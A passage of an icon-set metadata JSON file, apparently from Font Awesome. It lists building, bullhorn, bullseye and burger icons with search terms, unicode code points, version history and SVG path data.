        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM448 0c-17.7 0-32 14.3-32 32V512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H480c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "building-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "city",
        "closed",
        "lock",
        "lockdown",
        "quarantine",
        "secure"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4d6",
    "label": "Building Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h88.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-23.7 12.9-44.4 32-55.4V272c0-30.5 12.2-58.2 32-78.4V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM464 240c17.7 0 32 14.3 32 32v48H432V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h88.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-23.7 12.9-44.4 32-55.4V272c0-30.5 12.2-58.2 32-78.4V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM464 240c17.7 0 32 14.3 32 32v48H432V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "building-ngo": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [" city", "building", "non governmental organization", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d7",
    "label": "Building Ngo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM168 64h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H184v64h16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v24c0 13.3-10.7 24-24 24H176c-13.3 0-24-10.7-24-24V80c0-8.8 7.2-16 16-16zM304 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-48 16c0-26.5 21.5-48 48-48s48 21.5 48 48v32c0 26.5-21.5 48-48 48s-48-21.5-48-48V112zM61.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4L64 132.8V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM168 64h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H184v64h16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v24c0 13.3-10.7 24-24 24H176c-13.3 0-24-10.7-24-24V80c0-8.8 7.2-16 16-16zM304 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-48 16c0-26.5 21.5-48 48-48s48 21.5 48 48v32c0 26.5-21.5 48-48 48s-48-21.5-48-48V112zM61.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4L64 132.8V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4z"
      }
    },
    "free": ["solid"]
  },
  "building-shield": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "police", "protect", "safety"]
    },
    "styles": ["solid"],
    "unicode": "e4d8",
    "label": "Building Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V207l-42.4 17H304 272c-8.8 0-16 7.2-16 16v32 24.2V304c0 .9 .1 1.7 .2 2.6c2.3 58.1 24.1 144.8 98.7 201.5c-5.8 2.5-12.2 3.9-18.9 3.9H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zM423.1 225.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V207l-42.4 17H304 272c-8.8 0-16 7.2-16 16v32 24.2V304c0 .9 .1 1.7 .2 2.6c2.3 58.1 24.1 144.8 98.7 201.5c-5.8 2.5-12.2 3.9-18.9 3.9H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zM423.1 225.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z"
      }
    },
    "free": ["solid"]
  },
  "building-un": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "office", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e4d9",
    "label": "Building Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM237.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM112 80v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V80c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM237.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM112 80v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V80c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "building-user": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apartment", "building", "city"]
    },
    "styles": ["solid"],
    "unicode": "e4da",
    "label": "Building User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h89.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM576 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM352 477.1c0 19.3 15.6 34.9 34.9 34.9H605.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H445.1c-51.4 0-93.1 41.7-93.1 93.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h89.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM576 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM352 477.1c0 19.3 15.6 34.9 34.9 34.9H605.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H445.1c-51.4 0-93.1 41.7-93.1 93.1z"
      }
    },
    "free": ["solid"]
  },
  "building-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "building", "city", "usda"]
    },
    "styles": ["solid"],
    "unicode": "e4db",
    "label": "Building Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm384 80v16c0 44.2-35.8 80-80 80H544V272c0-44.2 35.8-80 80-80h16zm0 128c0 44.2-35.8 80-80 80H544V384c0-44.2 35.8-80 80-80h16v16zm0 112c0 44.2-35.8 80-80 80H544V496c0-44.2 35.8-80 80-80h16v16zM512 496v16H496c-44.2 0-80-35.8-80-80V416h16c44.2 0 80 35.8 80 80zm0-96H496c-44.2 0-80-35.8-80-80V304h16c44.2 0 80 35.8 80 80v16zm0-128v16H496c-44.2 0-80-35.8-80-80V192h16c44.2 0 80 35.8 80 80zM528 32c13.3 0 24 10.7 24 24V160c0 13.3-10.7 24-24 24s-24-10.7-24-24V56c0-13.3 10.7-24 24-24zm96 64v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24s24 10.7 24 24zM456 72c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm384 80v16c0 44.2-35.8 80-80 80H544V272c0-44.2 35.8-80 80-80h16zm0 128c0 44.2-35.8 80-80 80H544V384c0-44.2 35.8-80 80-80h16v16zm0 112c0 44.2-35.8 80-80 80H544V496c0-44.2 35.8-80 80-80h16v16zM512 496v16H496c-44.2 0-80-35.8-80-80V416h16c44.2 0 80 35.8 80 80zm0-96H496c-44.2 0-80-35.8-80-80V304h16c44.2 0 80 35.8 80 80v16zm0-128v16H496c-44.2 0-80-35.8-80-80V192h16c44.2 0 80 35.8 80 80zM528 32c13.3 0 24 10.7 24 24V160c0 13.3-10.7 24-24 24s-24-10.7-24-24V56c0-13.3 10.7-24 24-24zm96 64v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24s24 10.7 24 24zM456 72c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "bullhorn": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e2", "1f56b"],
        "secondary": ["10f0a1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Bullhorn",
        "announcement",
        "broadcast",
        "loud",
        "louder",
        "loudspeaker",
        "megaphone",
        "public address",
        "share"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0a1",
    "label": "Bullhorn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9L381.7 53c-48 48-113.1 75-181 75H192 160 64c-35.3 0-64 28.7-64 64v96c0 35.3 28.7 64 64 64l0 128c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V352l8.7 0c67.9 0 133 27 181 75l43.6 43.6c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V300.4c18.6-8.8 32-32.5 32-60.4s-13.4-51.6-32-60.4V32zm-64 76.7V240 371.3C357.2 317.8 280.5 288 200.7 288H192V192h8.7c79.8 0 156.5-29.8 215.3-83.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9L381.7 53c-48 48-113.1 75-181 75H192 160 64c-35.3 0-64 28.7-64 64v96c0 35.3 28.7 64 64 64l0 128c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V352l8.7 0c67.9 0 133 27 181 75l43.6 43.6c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V300.4c18.6-8.8 32-32.5 32-60.4s-13.4-51.6-32-60.4V32zm-64 76.7V240 371.3C357.2 317.8 280.5 288 200.7 288H192V192h8.7c79.8 0 156.5-29.8 215.3-83.3z"
      }
    },
    "free": ["solid"]
  },
  "bullseye": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f140"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "5.15.4",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archery", "goal", "objective", "strategy", "target"]
    },
    "styles": ["solid"],
    "unicode": "f140",
    "label": "Bullseye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 256A192 192 0 1 0 64 256a192 192 0 1 0 384 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 80a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zM224 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 256A192 192 0 1 0 64 256a192 192 0 1 0 384 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 80a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zM224 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "burger": {
    "aliases": {
      "names": ["hamburger"],
      "unicodes": {
        "secondary": ["10f805"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bacon",
        "beef",
        "burger",
        "burger king",
        "cheeseburger",
        "fast food",
        "grill",
        "ground beef",
        "mcdonalds",
        "sandwich"
      ]
    },
    "styles": ["solid"],
    "unicode": "f805",
    "label": "Burger",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.1 224C45 224 32 211 32 194.9c0-1.9 .2-3.7 .6-5.6C37.9 168.3 78.8 32 256 32s218.1 136.3 223.4 157.3c.5 1.9 .6 3.7 .6 5.6c0 16.1-13 29.1-29.1 29.1H61.1zM144 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm240 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zM272 96a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM16 304c0-26.5 21.5-48 48-48H448c26.5 0 48 21.5 48 48s-21.5 48-48 48H64c-26.5 0-48-21.5-48-48zm16 96c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16v16c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V400z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M61.1 224C45 224 32 211 32 194.9c0-1.9 .2-3.7 .6-5.6C37.9 168.3 78.8 32 256 32s218.1 136.3 223.4 157.3c.5 1.9 .6 3.7 .6 5.6c0 16.1-13 29.1-29.1 29.1H61.1zM144 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm240 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zM272 96a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM16 304c0-26.5 21.5-48 48-48H448c26.5 0 48 21.5 48 48s-21.5 48-48 48H64c-26.5 0-48-21.5-48-48zm16 96c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16v16c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V400z"
      }
    },
    "free": ["solid"]
  },
  "buromobelexperte": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37f",
    "label": "Büromöbel-Experte GmbH & Co. KG.",
    "voted": false,
    "svg": {
